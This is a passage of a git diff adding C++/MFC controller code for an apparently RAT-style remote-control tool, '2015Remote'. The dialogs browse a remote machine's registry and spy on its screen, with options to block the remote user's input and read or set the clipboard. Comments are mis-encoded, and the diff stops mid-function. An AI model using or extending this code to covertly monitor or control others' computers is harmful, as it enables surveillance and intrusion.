||||
|
||||
protected:
|
||||
CRITICAL_SECTION* m_cs;
|
||||
};
|
||||
|
||||
|
||||
class OVERLAPPEDPLUS
|
||||
{
|
||||
public:
|
||||
|
||||
OVERLAPPED m_ol;
|
||||
IOType m_ioType;
|
||||
|
||||
OVERLAPPEDPLUS(IOType ioType)
|
||||
{
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
}
|
||||
};
|
||||
306
server/2015Remote/RegisterDlg.cpp
Normal file
@@ -0,0 +1,306 @@
|
||||
// RegisterDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "RegisterDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
enum MYKEY{
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
enum KEYVALUE{
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
|
||||
// CRegisterDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||
|
||||
|
||||
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CRegisterDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = IOCPServer;
|
||||
m_ContextObject = ContextObject;
|
||||
}
|
||||
|
||||
CRegisterDlg::~CRegisterDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TREE, m_Tree);
|
||||
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegisterDlg::OnTvnSelchangedTree)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CRegisterDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CRegisterDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
|
||||
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<2F><><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
|
||||
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0);
|
||||
m_ImageListTree.Add(m_hIcon);
|
||||
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0);
|
||||
m_ImageListTree.Add(m_hIcon);
|
||||
|
||||
m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL);
|
||||
|
||||
m_hRoot = m_Tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0); //0
|
||||
HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1
|
||||
HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
|
||||
HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
|
||||
HKCC = m_Tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
|
||||
HKCR = m_Tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
|
||||
|
||||
m_Tree.Expand(m_hRoot,TVE_EXPAND);
|
||||
|
||||
m_ControlList.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
|
||||
m_ControlList.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
|
||||
m_ControlList.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
|
||||
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
//////<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>//////
|
||||
m_ImageListControlList.Create(16,16,TRUE,2,2);
|
||||
m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_STRING));
|
||||
m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_DWORD));
|
||||
m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL);
|
||||
|
||||
m_isEnable = TRUE; //<2F><>ֵ<EFBFBD><D6B5>Ϊ<EFBFBD>˽<EFBFBD><CBBD><EFBFBD>Ƶ<EFBFBD><C6B5> <20>ض<F2B1BBBF><D8B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
|
||||
|
||||
if(!m_isEnable)
|
||||
{
|
||||
return;
|
||||
}
|
||||
m_isEnable=FALSE;;
|
||||
|
||||
TVITEM Item = pNMTreeView->itemNew;
|
||||
|
||||
if(Item.hItem == m_hRoot)
|
||||
{
|
||||
m_isEnable=TRUE;;
|
||||
return;
|
||||
}
|
||||
|
||||
m_hSelectedItem=Item.hItem; //<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><F2BFAAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD> //0 1 2 2 3
|
||||
m_ControlList.DeleteAllItems();
|
||||
|
||||
CString strFullPath=GetFullPath(m_hSelectedItem); //<2F><><EFBFBD>ü<EFBFBD>ֵ·<D6B5><C2B7>
|
||||
|
||||
char bToken=GetFatherPath(strFullPath); //[2] \1\2\3
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
int nitem=m_ControlList.InsertItem(0,"(Ĭ<><C4AC>)",0);
|
||||
m_ControlList.SetItemText(nitem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(nitem,2,"(<28><><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ֵ)");
|
||||
|
||||
strFullPath.Insert(0,bToken);//<2F><><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
bToken=COMMAND_REG_FIND;
|
||||
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
|
||||
m_isEnable = TRUE;
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
|
||||
{
|
||||
CString strTemp;
|
||||
CString strReturn = "";
|
||||
while(1)
|
||||
{
|
||||
if(hCurrent==m_hRoot)
|
||||
{
|
||||
return strReturn;
|
||||
}
|
||||
strTemp = m_Tree.GetItemText(hCurrent);
|
||||
if(strTemp.Right(1) != "\\")
|
||||
strTemp += "\\";
|
||||
strReturn = strTemp + strReturn;
|
||||
hCurrent = m_Tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
}
|
||||
return strReturn;
|
||||
}
|
||||
|
||||
char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
||||
{
|
||||
char bToken;
|
||||
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
|
||||
bToken=MHKEY_CLASSES_ROOT;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||||
}else if(!strFullPath.Find("HKEY_CURRENT_USER"))
|
||||
{
|
||||
bToken=MHKEY_CURRENT_USER;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
|
||||
|
||||
}else if(!strFullPath.Find("HKEY_LOCAL_MACHINE"))
|
||||
{
|
||||
bToken=MHKEY_LOCAL_MACHINE;
|
||||
strFullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
|
||||
|
||||
}else if(!strFullPath.Find("HKEY_USERS"))
|
||||
{
|
||||
bToken=MHKEY_USERS;
|
||||
strFullPath.Delete(0,sizeof("HKEY_USERS"));
|
||||
|
||||
}else if(!strFullPath.Find("HKEY_CURRENT_CONFIG"))
|
||||
{
|
||||
bToken=MHKEY_CURRENT_CONFIG;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
|
||||
|
||||
}
|
||||
return bToken;
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
|
||||
case TOKEN_REG_PATH:
|
||||
{
|
||||
AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_REG_KEY:
|
||||
{
|
||||
AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct REGMSG{
|
||||
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
|
||||
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||
DWORD valsize; //ֵ<><D6B5>С
|
||||
};
|
||||
|
||||
|
||||
void CRegisterDlg::AddPath(char* szBuffer)
|
||||
{
|
||||
if(szBuffer==NULL) return;
|
||||
int msgsize=sizeof(REGMSG);
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,szBuffer,msgsize);
|
||||
DWORD size =msg.size;
|
||||
int count=msg.count;
|
||||
|
||||
if(size>0&&count>0){ //һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||
for(int i=0;i<count;i++){
|
||||
char* szKeyName=szBuffer+size*i+msgsize;
|
||||
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CRegisterDlg::AddKey(char* szBuffer)
|
||||
{
|
||||
m_ControlList.DeleteAllItems();
|
||||
int iItem=m_ControlList.InsertItem(0,"(Data)",0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,"(NULL)");
|
||||
|
||||
if(szBuffer==NULL) return;
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,szBuffer,sizeof(msg));
|
||||
char* szTemp=szBuffer+sizeof(msg);
|
||||
for(int i=0;i<msg.count;i++)
|
||||
{
|
||||
BYTE Type=szTemp[0]; //<2F><><EFBFBD><EFBFBD>
|
||||
szTemp+=sizeof(BYTE);
|
||||
char* szValueName=szTemp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szTemp+=msg.size;
|
||||
BYTE* szValueDate=(BYTE*)szTemp; //ȡ<><C8A1>ֵ
|
||||
szTemp+=msg.valsize;
|
||||
if(Type==MREG_SZ)
|
||||
{
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,(char*)szValueDate);
|
||||
}
|
||||
if(Type==MREG_DWORD)
|
||||
{
|
||||
char ValueDate[256];
|
||||
DWORD d=(DWORD)szValueDate;
|
||||
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
||||
CString strValue;
|
||||
strValue.Format("0x%x",d);
|
||||
sprintf(ValueDate," (%wd)",d);
|
||||
strValue+=" ";
|
||||
strValue+=ValueDate;
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_DWORD");
|
||||
m_ControlList.SetItemText(iItem,2,strValue);
|
||||
}
|
||||
if(Type==MREG_BINARY)
|
||||
{
|
||||
char ValueDate[256];
|
||||
sprintf(ValueDate,"%wd",szValueDate);
|
||||
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
|
||||
m_ControlList.SetItemText(iItem,2,ValueDate);
|
||||
}
|
||||
if(Type==MREG_EXPAND_SZ)
|
||||
{
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_EXPAND_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,(char*)szValueDate);
|
||||
}
|
||||
}
|
||||
}
|
||||
46
server/2015Remote/RegisterDlg.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
|
||||
#include "IOCPServer.h"
|
||||
|
||||
// CRegisterDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CRegisterDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CRegisterDlg)
|
||||
|
||||
public:
|
||||
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CRegisterDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_REGISTER };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CTreeCtrl m_Tree;
|
||||
CImageList m_ImageListTree; //<2F><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
CListCtrl m_ControlList;
|
||||
CImageList m_ImageListControlList; //ControlList<73>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
HICON m_hIcon;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
HTREEITEM m_hRoot;
|
||||
HTREEITEM HKLM;
|
||||
HTREEITEM HKCR;
|
||||
HTREEITEM HKCU;
|
||||
HTREEITEM HKUS;
|
||||
HTREEITEM HKCC;
|
||||
HTREEITEM m_hSelectedItem;
|
||||
BOOL m_isEnable;
|
||||
char CRegisterDlg::GetFatherPath(CString& strFullPath);
|
||||
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent);
|
||||
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
void CRegisterDlg::OnReceiveComplete(void);
|
||||
void CRegisterDlg::AddPath(char* szBuffer);
|
||||
void CRegisterDlg::AddKey(char* szBuffer);
|
||||
};
|
||||
520
server/2015Remote/ScreenSpyDlg.cpp
Normal file
@@ -0,0 +1,520 @@
|
||||
// ScreenSpyDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ScreenSpyDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
enum
|
||||
{
|
||||
IDM_CONTROL = 0x1010,
|
||||
IDM_SEND_CTRL_ALT_DEL,
|
||||
IDM_TRACE_CURSOR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾԶ<CABE><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDM_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDM_SAVEDIB, // <20><><EFBFBD><EFBFBD>ͼƬ
|
||||
IDM_GET_CLIPBOARD, // <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDM_SET_CLIPBOARD, // <20><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||
{
|
||||
m_iocpServer = IOCPServer;
|
||||
m_ContextObject = ContextObject;
|
||||
|
||||
CHAR szFullPath[MAX_PATH];
|
||||
GetSystemDirectory(szFullPath, MAX_PATH);
|
||||
lstrcat(szFullPath, "\\shell32.dll"); //ͼ<><CDBC>
|
||||
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
|
||||
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW);
|
||||
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||
BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||
|
||||
m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||
|
||||
m_bIsFirst = TRUE;
|
||||
m_ulHScrollPos = 0;
|
||||
m_ulVScrollPos = 0;
|
||||
|
||||
if (m_ContextObject==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
|
||||
|
||||
if (m_BitmapInfor_Full==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);
|
||||
|
||||
m_bIsCtrl = FALSE;
|
||||
m_bIsTraceCursor = FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpyDlg::SendNext(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
CScreenSpyDlg::~CScreenSpyDlg()
|
||||
{
|
||||
if (m_BitmapInfor_Full!=NULL)
|
||||
{
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
|
||||
::DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||
|
||||
::DeleteObject(m_BitmapHandle);
|
||||
if (m_BitmapData_Full!=NULL)
|
||||
{
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_SYSCOMMAND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CScreenSpyDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CScreenSpyDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString strString;
|
||||
strString.Format("%s - Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d<><64>%d", m_strClientIP,
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
SetWindowText(strString);
|
||||
|
||||
m_hFullDC = ::GetDC(m_hWnd);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4><EFBFBD>ġ<EFBFBD><C4A1><EFBFBD><EFBFBD>豸<EFBFBD>ص<DEB9>λͼ
|
||||
|
||||
SelectObject(m_hFullMemDC, m_BitmapHandle);//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD>
|
||||
|
||||
SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD>Сֵ<D0A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
|
||||
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
if (SysMenu != NULL)
|
||||
{
|
||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ(&Y)");
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "<EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&T)");
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD>(&L)");
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&S)");
|
||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&R)");
|
||||
SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "<EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&L)");
|
||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||
}
|
||||
|
||||
m_bIsCtrl = FALSE; //<2F><><EFBFBD>ǿ<EFBFBD><C7BF><EFBFBD>
|
||||
m_bIsTraceCursor = FALSE; //<2F><><EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD>
|
||||
m_ClientCursorPos.x = 0;
|
||||
m_ClientCursorPos.y = 0;
|
||||
|
||||
SendNext();
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpyDlg::OnClose()
|
||||
{
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpyDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
|
||||
{
|
||||
case TOKEN_FIRSTSCREEN:
|
||||
{
|
||||
DrawFirstScreen(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>һ֡ͼ<D6A1><CDBC> һ<><D2BB>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_NEXTSCREEN:
|
||||
{
|
||||
if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
|
||||
{
|
||||
DrawNextScreenDiff();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case TOKEN_CLIPBOARD_TEXT: //<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::DrawFirstScreen(void)
|
||||
{
|
||||
m_bIsFirst = FALSE;
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>HBITMAP<41>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ<EFBFBD><CDBC><EFBFBD>ͳ<EFBFBD><CDB3><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
|
||||
PostMessage(WM_PAINT);//<2F><><EFBFBD><EFBFBD>WM_PAINT<4E><54>Ϣ
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||
{
|
||||
